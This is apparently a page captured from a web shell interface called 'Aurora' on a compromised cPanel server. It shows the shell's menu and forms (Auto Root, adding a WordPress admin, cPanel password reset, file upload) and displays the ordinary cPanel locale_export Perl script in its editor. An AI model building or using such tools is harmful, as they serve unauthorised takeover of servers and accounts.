Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
scripts
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: locale_export
#!/usr/local/cpanel/3rdparty/bin/perl # Copyright 2024 WebPros International, LLC # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited. use strict; use warnings; use Getopt::Param (); use Cpanel::Locale (); use Cpanel::Locale::Utils::Display (); use Cpanel::Locale::Utils::XML (); use Cpanel::SafeDir::MK (); my $prm = Getopt::Param->new( { 'no_args_help' => 1, 'help_coderef' => sub { print <<"END_USAGE"; $0 --locale={locale_tag} [--locale=… --locale=… …] [--quiet] [--export-{locale_tag}={path}] [--dumper-format] [--exclude-bracketed-strings] [--no-fallback] Export locales from the Locale database in XML format. Options: --help Show this help screen. --quiet Show less status output than normal. This also suppresses warnings related to locale string syntax. --locale={locale_tag} Specify a locale to export. You may pass the flag multiple times in order to export multiple locales. This creates files in a default location that `/usr/local/cpanel/scripts/locale_import --locale={locale_tag}` knows to use. --export-{locale_tag}={file} Save the export of the locale {locale_tag} to {file} instead of the standard place. This creates files that can be imported with `/usr/local/cpanel/scripts/locale_import --import={file}` --dumper-format Export into the old format instead of XLIFF (will force an .xml extension on any --export-XX paths) --recover Try to recover on encountering an ill-formed phrase. --exclude-bracketed-strings Exclude strings that contain bracket notation, which may cause problems on some translation platforms. --exclude-plurals Exclude the plurality translation units in the XLIFF output. --no-fallback Do not use original strings as fallback. If no translation is available, leave target blank. The XML files that this script creates can be imported via /usr/local/cpanel/scripts/locale_import If there were problems exporting the script will exit with an error status. To examine the details of what happened do not use --quiet. END_USAGE exit; }, } ); my $verbose = $prm->get_param('quiet') ? 0 : 1; my $options = { 'recover' => ( $prm->get_param('recover') ? 1 : 0 ), 'no-brackets' => ( $prm->get_param('exclude-bracketed-strings') ? 1 : 0 ), 'no-fallback' => ( $prm->get_param('no-fallback') ? 1 : 0 ), 'exclude-plurals' => ( $prm->get_param('exclude-plurals') ? 1 : 0 ), 'no-warn' => ( $verbose ? 0 : 1 ), }; my $count = 0; my $failed = 0; my $locale = Cpanel::Locale->get_handle(); my %locale_lookup; @locale_lookup{ Cpanel::Locale::Utils::Display::get_locale_list($locale) } = (); my $euid_home; foreach my $loc ( $prm->get_param('locale') ) { $count++; if ( !exists $locale_lookup{$loc} ) { print "Invalid locale\n" if $verbose; $failed++; next; } my $path = $prm->get_param('dumper-format') ? "/var/cpanel/locale/export/$loc.xml" : "/var/cpanel/locale/export/$loc.xlf"; if ( $prm->get_param("export-$loc") ) { $path = $prm->get_param("export-$loc"); $path =~ s/\.[^.]+$//; # strip any existing extension … if ( $prm->get_param('dumper-format') ) { $path .= '.xml'; # … replace it w/ .xml } else { $path .= '.xlf'; # … replace it w/ .xlf } } # expand ~/ that was treated as a string and not expanded by the shell before being put in @ARGV if ( substr( $path, 0, 2 ) eq '~/' ) { $euid_home ||= ( getpwuid($>) )[7]; # only look it up if needed, and only look it up one time substr( $path, 0, 2, "$euid_home/" ); } my ( $head, @dir ) = reverse( split( /\//, $path ) ); my $dir = join( '/', reverse(@dir) ); if ( $dir && !-d $dir ) { if ( !Cpanel::SafeDir::MK::safemkdir($dir) ) { print "Could not create path '$dir': $!\n" if $verbose; $failed++; next; } } if ( -e $path ) { print "Replacing existing export file '$path'\n" if $verbose; unlink($path); if ( -e $path ) { print "Could not unlink '$path': $!\n" if $verbose; $failed++; next; } } my $error = ''; if ( Cpanel::Locale::Utils::XML::locale_to_xml( $path, $loc, \$error, $options ) ) { print "$error'$loc' has been exported to '$path'.\n" if $verbose; } else { print "Failed to create XML file for locale '$loc': $error\n" if $verbose; $failed++; next; } } if ( !$count || $failed ) { if ($verbose) { if ($failed) { print "$failed out of $count failed to export.\n"; } elsif ( !$count ) { print "No locales to export.\n"; } } exit 1; }